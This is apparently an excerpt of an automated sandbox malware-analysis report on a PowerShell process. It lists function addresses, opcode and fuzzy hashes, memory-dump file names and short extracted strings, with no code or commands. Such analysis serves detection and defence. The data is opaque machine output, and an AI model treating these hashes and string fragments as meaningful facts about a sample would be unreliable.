Opcode Fuzzy Hash: 7ad95d64f0a657e0697eaeec4890526ee898d92e5895a67b3d799906017b07bd
Instruction Fuzzy Hash: 9241B3B1A042469FCB01CF6CC490AADFBF1FF4A310B694196E954EB262C731ED91CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00265397 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e36e0de5c101585fe737a8d657cfbc7c24f8ec83290ff896b54a410cb414df79
Instruction ID: 3a2bfbebafa32e48c42ddc3f90e1cb0af03305a2defb627a188122f04ef8f8a8
Opcode Fuzzy Hash: e36e0de5c101585fe737a8d657cfbc7c24f8ec83290ff896b54a410cb414df79
Instruction Fuzzy Hash: 8051EB74A10219AFDB05CF98D580B9DBBF2BF48314F288559E804AB355CB75ED92CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD0EBC Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf8f37c1476e581c48e5fa2473ec9e0c4b9ab0ee0381228cfc5b947c396785c
Instruction ID: 69d806e4437dfb7ddb2d35906915794b91a89e7df02892a2f9ac6fd5a42aec5c
Opcode Fuzzy Hash: 5bf8f37c1476e581c48e5fa2473ec9e0c4b9ab0ee0381228cfc5b947c396785c
Instruction Fuzzy Hash: C3416470B04245DFCB24EF69C540BAAB7F1AF88314F2584AAD5069B356D732DDC1CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD5918 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7107de5fc634e74bbb07295d2998ed414021d42da9644f3a6fdb0d374ab1b67
Instruction ID: 04009f8dc6c11a6d3962939a69cd5f1c2ac5b5eae8304a180b994e3156e00642
Opcode Fuzzy Hash: e7107de5fc634e74bbb07295d2998ed414021d42da9644f3a6fdb0d374ab1b67
Instruction Fuzzy Hash: BF318074B00214AFD714AB78D855FBF7AB3AB8C354F248125E8116F395CE76DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 00265088 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb77f54891807066561c0ae0ebf2ba1d55b2afb712ff9304abf06ad2d0ba02e5
Instruction ID: e2b5e86dde1a2dd2021b38dc29e9b1cec65bf4d20af12e7718493a9178bda1ed
Opcode Fuzzy Hash: fb77f54891807066561c0ae0ebf2ba1d55b2afb712ff9304abf06ad2d0ba02e5
Instruction Fuzzy Hash: BC312874A006159FCB14CF89C990AAEFBF1FF89320F258298E919A7355C731EC91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00263128 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03a9b5757341e97db743e7923429ac1d5ef113914efaf0aa3da0357fe7c410a6
Instruction ID: d0dcbd62cc6225975d721a3c5578c0e8032eb79ac6f557690efaf8daa2f64fa3
Opcode Fuzzy Hash: 03a9b5757341e97db743e7923429ac1d5ef113914efaf0aa3da0357fe7c410a6
Instruction Fuzzy Hash: ED311A74A006069FCB14CF98C9809AEFBF1FF49310B658299E909E7361C731ED91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD8C74 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0147f636d69daa9663a27a4cc0bab8bfab94ba173fdce2dd5eff96b30a4589d
Instruction ID: 69d0b08c8a5a14706a0de2c5f6da3dd701b932796a81443260095fe80d347db5
Opcode Fuzzy Hash: b0147f636d69daa9663a27a4cc0bab8bfab94ba173fdce2dd5eff96b30a4589d
Instruction Fuzzy Hash: 6721B274A00205DFCB249F18C540A6AB7B3EFA9310F2881ABD45ADB3D5DB39DD80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD17E0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7135e0d777211edc00789be6e2c92ceccf316d6f926a84dca3a3e9d93b7ca382
Instruction ID: 00a09c8048495a140fd3d11b12d28a3b1a8e458db9bfdfb399b8c7d23b610a32
Opcode Fuzzy Hash: 7135e0d777211edc00789be6e2c92ceccf316d6f926a84dca3a3e9d93b7ca382
Instruction Fuzzy Hash: 3A01D4363042146BDB149AAA940067EF7A69FD1322F18C43BD986C7340DB75CD95E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 002654A4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ad50ac112bbaad4dd459b53b2f39b59d4ecba9d190321d4df516f42731bf48
Instruction ID: af07df04fb25ebaec7d5358a5a99a673ad6cc824a9e774b7601d1d124d311a7b
Opcode Fuzzy Hash: 59ad50ac112bbaad4dd459b53b2f39b59d4ecba9d190321d4df516f42731bf48
Instruction Fuzzy Hash: 8211E934A10259EFDB45CF98D484B9DBBB2BF48324F288458E404AB365CB75ECD2CB80

Uniqueness

Uniqueness Score: -1.00%

Function 001AD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530499313.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 278b54cd69c1ee1c8df7746de3a484e35ff5b21a420ad0d78ba86b500b8ce222
Instruction ID: dfb17d51190d3515c5b381e56a2e09386714accf82c51a302f8c31570f876415
Opcode Fuzzy Hash: 278b54cd69c1ee1c8df7746de3a484e35ff5b21a420ad0d78ba86b500b8ce222
Instruction Fuzzy Hash: E201DE6140C3C09FD7134B259C98762BFB4EF13224F1984DBE8848F2A3C2689C48CB72

Uniqueness

Uniqueness Score: -1.00%

Function 001AD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530499313.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e30e6f28ba5c71828d1b6c4e52c32e86e9eb3e3bbe039fcfc509c97bc36a3c3
Instruction ID: b6a099bed0de84e9f54a4c2f14c25741f8f6a59b5425d3ebdcfe95c111024f06
Opcode Fuzzy Hash: 6e30e6f28ba5c71828d1b6c4e52c32e86e9eb3e3bbe039fcfc509c97bc36a3c3
Instruction Fuzzy Hash: F101F775404B40AAE7214E25D984B6BBFE8EF42724F28841AFC464B686C7B9D845CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00AD238F Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d611921106eddc748278a2c20089bf58a48d07e0240e79e4d46a660ec33aee
Instruction ID: 005738ba4dee9f7618be86589dbf744ff2b630e40adb3bbbb8467ba801644db4
Opcode Fuzzy Hash: 51d611921106eddc748278a2c20089bf58a48d07e0240e79e4d46a660ec33aee
Instruction Fuzzy Hash: ECB012301055404FC201CB10C890440BB21DF83125318C1CA9C058F253CB27ED07D751

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 001AD53C Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530499313.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c04076f78eeff04f0c2ded112b643e56dfc3a2e33931c834ab3e73d64e2ea485
Instruction ID: 4d9e34d87e92db439c60ee19d485a871c8fd7055c9c6041a6d8982bed3c1da47
Opcode Fuzzy Hash: c04076f78eeff04f0c2ded112b643e56dfc3a2e33931c834ab3e73d64e2ea485
Instruction Fuzzy Hash: B32157B9A047409FDB05CF18F580B2ABBB5EB85318F20C569D80A4BA41C335D90AC762

Uniqueness

Uniqueness Score: -1.00%

Function 00AD75C8 Relevance: 21.7, Strings: 17, Instructions: 462COMMON

Download Yara Rule

Strings

$p, xrefs: 00AD795C
4'p, xrefs: 00AD7672
[h, xrefs: 00AD7A43
h%h, xrefs: 00AD76F1
h%h, xrefs: 00AD76E3
$p, xrefs: 00AD7ADA
4'p, xrefs: 00AD767E
`O&, xrefs: 00AD7A0C
tPp, xrefs: 00AD79EC
$p, xrefs: 00AD7AAF
h%h, xrefs: 00AD78E8
$p, xrefs: 00AD7AE6
4'p, xrefs: 00AD787F
tPp, xrefs: 00AD79F8
h%h, xrefs: 00AD78F6
4'p, xrefs: 00AD7875
[h, xrefs: 00AD7A35

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$`O&$h%h$h%h$h%h$h%h$tPp$tPp$$p$$p$$p$$p$[h$[h
API String ID: 0-2974998677
Opcode ID: af6a484cd6e477c6a1302aff11be54bc253db549c386d0dccddc3b988a4ad3ac
Instruction ID: 5437c7f40aca67d11b6766bdd69ae2634aeddf5bfd93eb32b1e3d302b804132f
Opcode Fuzzy Hash: af6a484cd6e477c6a1302aff11be54bc253db549c386d0dccddc3b988a4ad3ac
Instruction Fuzzy Hash: DBE1F635B083519FCB199B2C881476EBFB2AFC5310F2884ABD546CB356EA71CD41C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA568 Relevance: 20.5, Strings: 16, Instructions: 498COMMON

Download Yara Rule

Strings

$p, xrefs: 00ADA845
4'p, xrefs: 00ADA719
8#h, xrefs: 00ADAB8C
tPp, xrefs: 00ADA8E3
$p, xrefs: 00ADA95E
h%h, xrefs: 00ADA78C
$p, xrefs: 00ADA861
4'p, xrefs: 00ADAAF6
4'p, xrefs: 00ADA725
4'p, xrefs: 00ADAAEC
4'p, xrefs: 00ADA993
4'p, xrefs: 00ADA99F
h%h, xrefs: 00ADA79A
tPp, xrefs: 00ADA8EF
$p, xrefs: 00ADA96E
8#h, xrefs: 00ADAB7E

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$4'p$4'p$8#h$8#h$h%h$h%h$tPp$tPp$$p$$p$$p$$p
API String ID: 0-1269733955
Opcode ID: 7208a408ad337f6a3b61b985d663612fb0833866406d9a911bba8fdb611079d1
Instruction ID: 5aac187677599e4ee7fe7a8400be441488efad1267cfee1e7d0a82b228a45d3b
Opcode Fuzzy Hash: 7208a408ad337f6a3b61b985d663612fb0833866406d9a911bba8fdb611079d1
Instruction Fuzzy Hash: E6F1E731B002009FCB289F68D450AAEBBF2AFD9310F28C56BD956DB355DA35DD42C792

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE1A5 Relevance: 16.5, Strings: 13, Instructions: 285COMMON

Download Yara Rule

Strings

$p, xrefs: 00ADE1FD
h, xrefs: 00ADE52C
tPp, xrefs: 00ADE3D8
(p, xrefs: 00ADE435
(p, xrefs: 00ADE392
tPp, xrefs: 00ADE2DD
tPp, xrefs: 00ADE3CC
tPp, xrefs: 00ADE2D1
h, xrefs: 00ADE53A
(p, xrefs: 00ADE400
4'p, xrefs: 00ADE4B0
4'p, xrefs: 00ADE4A4
(p, xrefs: 00ADE3F6

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$tPp$tPp$tPp$tPp$$p$(p$(p$(p$(p$h$h
API String ID: 0-3031106647
Opcode ID: 582fc3e56719e740afcccaa7dd4cc12a9cbfd2c109a07c3c20dc028f86a70491
Instruction ID: dab6b3f9f198c9aefc3f76ca37862d019b2d302a185686c762ebf839facbb316
Opcode Fuzzy Hash: 582fc3e56719e740afcccaa7dd4cc12a9cbfd2c109a07c3c20dc028f86a70491
Instruction Fuzzy Hash: EEA1D635700211DFDB28EF68D8457BEBBA2AB88310F28846BE8569F395CB71DD41C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AD00A0 Relevance: 15.4, Strings: 12, Instructions: 403COMMON

Download Yara Rule

Strings

L:{, xrefs: 00AD0490
(:{, xrefs: 00AD0189
L4p, xrefs: 00AD0419
(:{, xrefs: 00AD0240
L:{, xrefs: 00AD03D9
L4p, xrefs: 00AD01BE
L4p, xrefs: 00AD0160
L4p, xrefs: 00AD040E
L4p, xrefs: 00AD03B0
L:{, xrefs: 00AD036B
L4p, xrefs: 00AD01C9
(:{, xrefs: 00AD011B

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: (:{$(:{$(:{$L4p$L4p$L4p$L4p$L4p$L4p$L:{$L:{$L:{
API String ID: 0-620137614
Opcode ID: e0b7b9ec76b0fa28effd2f180f5bac75fa68269d22fde9c1be2e204b167a44f5
Instruction ID: 4ecdf73a6b17c9576414a35f7120a2ca8ef7e0e543b1b7aa52d64035b49c0808
Opcode Fuzzy Hash: e0b7b9ec76b0fa28effd2f180f5bac75fa68269d22fde9c1be2e204b167a44f5
Instruction Fuzzy Hash: C8D13635700204EFDB198F68D854FAE7BB2AF85310F188067E9569B392CB75DD81CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00AD0A78 Relevance: 10.1, Strings: 8, Instructions: 149COMMON

Download Yara Rule

Strings

H;{, xrefs: 00AD0AEA
4'p, xrefs: 00AD0B72
l;{, xrefs: 00AD0C58
H;{, xrefs: 00AD0B23
$p, xrefs: 00AD0B3D
$p, xrefs: 00AD0B04
4'p, xrefs: 00AD0B66
$p, xrefs: 00AD0B49

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$H;{$H;{$l;{$$p$$p$$p
API String ID: 0-1404283458
Opcode ID: e960f010f520c3f616f6076c32509f80d99d38a63f33584ed944f6ddcb9daa22
Instruction ID: a490c2f02eafc2430a0f8b8418c2e6e5ced0f54a2dd53e4e9ef9368d9d441ad1
Opcode Fuzzy Hash: e960f010f520c3f616f6076c32509f80d99d38a63f33584ed944f6ddcb9daa22
Instruction Fuzzy Hash: 7D41B3347083059FCB195B788810BBE7FB29BC5315F2484ABD986CB391DA75DD82C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00ADFCD0 Relevance: 10.1, Strings: 8, Instructions: 89COMMON

Download Yara Rule

Strings

tPp, xrefs: 00ADFD90
$p, xrefs: 00ADFD04
$p, xrefs: 00ADFD20
$p, xrefs: 00ADFD4B
$p, xrefs: 00ADFD2C
$p, xrefs: 00ADFCE8
$p, xrefs: 00ADFD3F
tPp, xrefs: 00ADFD84

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: tPp$tPp$$p$$p$$p$$p$$p$$p
API String ID: 0-1108495819
Opcode ID: 61b1ae7c9ef58384a417d36e994dd2f7e988a64c865fa578c3cf8266baccfbe1
Instruction ID: 72faff806b3830187f6fc3cfa713ad8deaa143dfa3efead2979e03e852d20579
Opcode Fuzzy Hash: 61b1ae7c9ef58384a417d36e994dd2f7e988a64c865fa578c3cf8266baccfbe1
Instruction Fuzzy Hash: A721C136B002158FCB288F69D940A6BBBE6AFC4714B78403BE9979B351CB71DD00C761

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE8D7 Relevance: 7.7, Strings: 6, Instructions: 235COMMON

Download Yara Rule

Strings

4'p, xrefs: 00ADEB16
tPp, xrefs: 00ADE9DE
tPp, xrefs: 00ADE9D2
$p, xrefs: 00ADEA92
$p, xrefs: 00ADEAA2
4'p, xrefs: 00ADEB0A

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$tPp$tPp$$p$$p
API String ID: 0-1321489876
Opcode ID: 081253f0dc1f0c2b7897d34abce7f27b7595314b856fa7cb5d704d29729545f6
Instruction ID: 223f30e9db6f8aa44bb40167376b38fd554a8c472ee7faacae8c6f93618e376b
Opcode Fuzzy Hash: 081253f0dc1f0c2b7897d34abce7f27b7595314b856fa7cb5d704d29729545f6
Instruction Fuzzy Hash: 5481C130700206DFDB24EF68C4517AEBBA2AB84351F24C46BE9169F3A5CB71DD51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9268 Relevance: 7.7, Strings: 6, Instructions: 229COMMON

Download Yara Rule

Strings

4'p, xrefs: 00AD9387
h%h, xrefs: 00AD93F8
4'p, xrefs: 00AD9391
h%h, xrefs: 00AD9406
`\h, xrefs: 00AD94FD
`\h, xrefs: 00AD94EF

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$`\h$`\h$h%h$h%h
API String ID: 0-1112478520
Opcode ID: b49f60c9486c258c1287e542ed391a62f6c9fd0ae2efc6acafa50f323a64f7c0
Instruction ID: fac49b7b618aeb583ba8307c50e1a80bec99d99520d84b821bc245998e787836
Opcode Fuzzy Hash: b49f60c9486c258c1287e542ed391a62f6c9fd0ae2efc6acafa50f323a64f7c0
Instruction Fuzzy Hash: 64712275B04340AFCB255B6984107AB7BB29FC9310F28847BD596CF382DA31CC46C392

Uniqueness

Uniqueness Score: -1.00%

Function 00ADEC25 Relevance: 7.7, Strings: 6, Instructions: 194COMMON

Download Yara Rule

Strings

XRp, xrefs: 00ADEC61
$p, xrefs: 00ADEC7D
tPp, xrefs: 00ADED10
XRp, xrefs: 00ADEDA5
tPp, xrefs: 00ADED04
XRp, xrefs: 00ADED95

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: XRp$XRp$XRp$tPp$tPp$$p
API String ID: 0-67365314
Opcode ID: 5ab7574883c753b6d6b08c74075bff06f47a8e082d0485ce33561abbc1949084
Instruction ID: 925855baa43abe3196a926b272358a1d5d8333ebd272a0162574f96a59425cc5
Opcode Fuzzy Hash: 5ab7574883c753b6d6b08c74075bff06f47a8e082d0485ce33561abbc1949084
Instruction Fuzzy Hash: 2461B135B00201AFDB58EF68C444AAEBBF2AB88310F28846AD5569F395CF75DD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ADF374 Relevance: 6.6, Strings: 5, Instructions: 338COMMON

Download Yara Rule

Strings

h%h, xrefs: 00ADF5FB
[h, xrefs: 00ADF460
[h, xrefs: 00ADF533
h%h, xrefs: 00ADF492
8#h, xrefs: 00ADF597

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$[h$[h
API String ID: 0-838792157
Opcode ID: 91631c527c3631f9d441f42a689eeae5a3cda218206effe27dab1a1228c3af25
Instruction ID: dc1cb0ad2e3e87b232e651f88b5cd18f5f81e64c6333b0ed9b0ac20e70d4ee9c
Opcode Fuzzy Hash: 91631c527c3631f9d441f42a689eeae5a3cda218206effe27dab1a1228c3af25
Instruction Fuzzy Hash: 77D11AB4A00205EFDB14DF58D541AAAB7B2BF88314F24C57AD817AB745C731ED82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE838 Relevance: 6.5, Strings: 5, Instructions: 230COMMON

Download Yara Rule

Strings

$p, xrefs: 00ADE8D4
tPp, xrefs: 00ADE9D2
$p, xrefs: 00ADE8B3
$p, xrefs: 00ADEA92
4'p, xrefs: 00ADEB0A

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$tPp$$p$$p$$p
API String ID: 0-2968649028
Opcode ID: 04c8deaff4db74ffdd5db5e9465a9a61ec7ac075a4ca6ff5d3c8c39bf90e5794
Instruction ID: c6d56c8f67b5765fd8035fa2657897a0cfd51ce3828c9c8debfb24f9fbce122f
Opcode Fuzzy Hash: 04c8deaff4db74ffdd5db5e9465a9a61ec7ac075a4ca6ff5d3c8c39bf90e5794
Instruction Fuzzy Hash: AF81A131600206DFDB24EF14C5517AABBB1BB84351F28846BE9179F3A1CB71EC90DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE82F Relevance: 6.4, Strings: 5, Instructions: 188COMMON

Download Yara Rule

Strings

$p, xrefs: 00ADE8D4
tPp, xrefs: 00ADE9D2
$p, xrefs: 00ADE8B3
$p, xrefs: 00ADEA92
4'p, xrefs: 00ADEB0A

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$tPp$$p$$p$$p
API String ID: 0-2968649028
Opcode ID: 5bec92c9a931c21b395a13fed8e6c6c02c576f4c5ba522d7c134aad66ddaa0d0
Instruction ID: 54742fbf0c9ce3d6f7c809f50ba609d636975c4346d728c2888c41e03775b31d
Opcode Fuzzy Hash: 5bec92c9a931c21b395a13fed8e6c6c02c576f4c5ba522d7c134aad66ddaa0d0
Instruction Fuzzy Hash: 7B616E30601206DFDB24EF14C5557AAB7B1BB84752F68806BE8179F3A4CBB1ED80DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2658 Relevance: 6.4, Strings: 5, Instructions: 188COMMON

Download Yara Rule

Strings

$p, xrefs: 00AD26CF
h%h, xrefs: 00AD2754
$p, xrefs: 00AD26DB
h%h, xrefs: 00AD2746
$p, xrefs: 00AD26AB

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: h%h$h%h$$p$$p$$p
API String ID: 0-972890748
Opcode ID: addb2875ccbc0efe9c5eb92004a938e86d1915c7b2fef08d03605e9f4413fb1c
Instruction ID: 9cdb65d6454b8bd073beacae88ae2c6efc52d58aa38fd4c6fa233e200a827b42
Opcode Fuzzy Hash: addb2875ccbc0efe9c5eb92004a938e86d1915c7b2fef08d03605e9f4413fb1c
Instruction Fuzzy Hash: DB512135B043019FCB259B69884076ABBF2AFE6310F28807BD846DB395DB71DC41C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00AD02E5 Relevance: 6.4, Strings: 5, Instructions: 117COMMON

Download Yara Rule

Strings

L4p, xrefs: 00AD0419
L:{, xrefs: 00AD03D9
L4p, xrefs: 00AD040E
L4p, xrefs: 00AD03B0
L:{, xrefs: 00AD036B

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: L4p$L4p$L4p$L:{$L:{
API String ID: 0-1624532146
Opcode ID: 80b94949ccd99fefe2ca302657ea521dcc6e58ca3bfc8967abafbb67d49a586e
Instruction ID: f9ba28a7046535a6af49694837a10e5eb5bd0906f2c254ff5cf23e224c6c83a3
Opcode Fuzzy Hash: 80b94949ccd99fefe2ca302657ea521dcc6e58ca3bfc8967abafbb67d49a586e
Instruction Fuzzy Hash: 4B41CE75A00208EFDB258F64C454FAE7BB2AF84310F198067E9569F391C7B4DD85CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00ADDC85 Relevance: 6.4, Strings: 5, Instructions: 115COMMON

Download Yara Rule

Strings

$p, xrefs: 00ADDCDB
$p, xrefs: 00ADDD21
$p, xrefs: 00ADDD15
4'p, xrefs: 00ADDD4D
4'p, xrefs: 00ADDD41

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$$p$$p$$p
API String ID: 0-2334450948
Opcode ID: f09c2e6da4cff698fb1820350dbd7069d72c595efdf22b9bacb726df7851475e
Instruction ID: 438515e8687397b3b1892b82a46ae8501de65836b971f916f8bf814e2c14d997
Opcode Fuzzy Hash: f09c2e6da4cff698fb1820350dbd7069d72c595efdf22b9bacb726df7851475e
Instruction Fuzzy Hash: 91313536B052018FDF294F3994406BABBE2AFD6311B3880BBC4838A345DEB1CD41C751

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA7DF Relevance: 6.4, Strings: 5, Instructions: 111COMMON

Download Yara Rule

Strings

$p, xrefs: 00ADA861
$p, xrefs: 00ADA845
4'p, xrefs: 00ADA993
tPp, xrefs: 00ADA8E3
$p, xrefs: 00ADA95E

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$tPp$$p$$p$$p
API String ID: 0-2968649028
Opcode ID: fbdf53c945868cfe4a14049cd4e8028b3bb50d12aeca4face3ad7470f8cdd1c6
Instruction ID: 65bfd5481eed0d3ca3ac3392a3a03fa596e7d8d91b79fd5b3e62051e9abfa535
Opcode Fuzzy Hash: fbdf53c945868cfe4a14049cd4e8028b3bb50d12aeca4face3ad7470f8cdd1c6
Instruction Fuzzy Hash: 8E41D131A04204EFDB248F05C550BA9B7B1AFA4360F29C16BD8279B394CB71DD81DB97

Uniqueness

Uniqueness Score: -1.00%

Function 00ADFCCF Relevance: 6.3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

Strings

$p, xrefs: 00ADFD04
$p, xrefs: 00ADFD20
